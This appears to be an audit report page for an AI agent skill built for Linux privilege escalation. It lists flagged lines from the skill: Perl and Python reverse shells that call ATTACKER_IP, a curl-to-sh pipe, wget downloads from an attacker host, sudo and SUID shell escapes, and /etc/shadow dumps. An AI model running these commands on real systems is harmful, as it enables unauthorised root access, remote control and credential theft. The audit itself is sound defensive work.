linux-privilege-escalation
Facilitates privilege escalation assessments on Linux systems to identify and exploit security vulnerabilities for root access.
Install this skill
Security score
The linux-privilege-escalation skill was audited on May 12, 2026 and we found 25 security issues across 4 threat categories, including 10 high-severity. Review the findings below before installing.
Categories Tested
Security Issues
Direct command execution function call
| 424 | perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec(" |
Piping content to sh shell
| 149 | curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh |
System command execution
| 232 | sudo awk 'BEGIN {system("/bin/bash")}' |
System command execution
| 235 | sudo python -c 'import os; os.system("/bin/bash")' |
System command execution
| 255 | system("/bin/bash"); |
System command execution
| 327 | /usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' |
System command execution
| 371 | # Shows: system("service apache2 start") |
System command execution
| 391 | echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c |
Python os.system command execution
| 235 | sudo python -c 'import os; os.system("/bin/bash")' |
Python os.system command execution
| 327 | /usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' |
Python subprocess execution
| 418 | python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' |
Wget to non-GitHub URL
| 168 | wget http://ATTACKER_IP:8000/linpeas.sh |
Wget to non-GitHub URL
| 204 | wget http://ATTACKER_IP/exploit.c |
Access to /etc/passwd
| 88 | cat /etc/passwd | grep -v nologin | grep -v false |
Access to /etc/passwd
| 91 | cat /etc/passwd | grep home |
Access to /etc/passwd
| 238 | sudo less /etc/passwd |
Access to /etc/passwd
| 298 | base64 /etc/passwd | base64 -d > passwd.txt |
Access to /etc/passwd
| 311 | # Add to /etc/passwd (using SUID editor) |
Access to /etc/shadow
| 281 | LFILE=/etc/shadow |
Access to /etc/shadow
| 297 | base64 /etc/shadow | base64 -d > shadow.txt |
Access to /etc/shadow
| 476 | $ base64 /etc/shadow | base64 -d |
External URL reference
| 168 | wget http://ATTACKER_IP:8000/linpeas.sh |
External URL reference
| 204 | wget http://ATTACKER_IP/exploit.c |
External URL reference
| 222 | Reference https://gtfobins.github.io for exploitation commands: |
External URL reference
| 428 | - GTFOBins: https://gtfobins.github.io |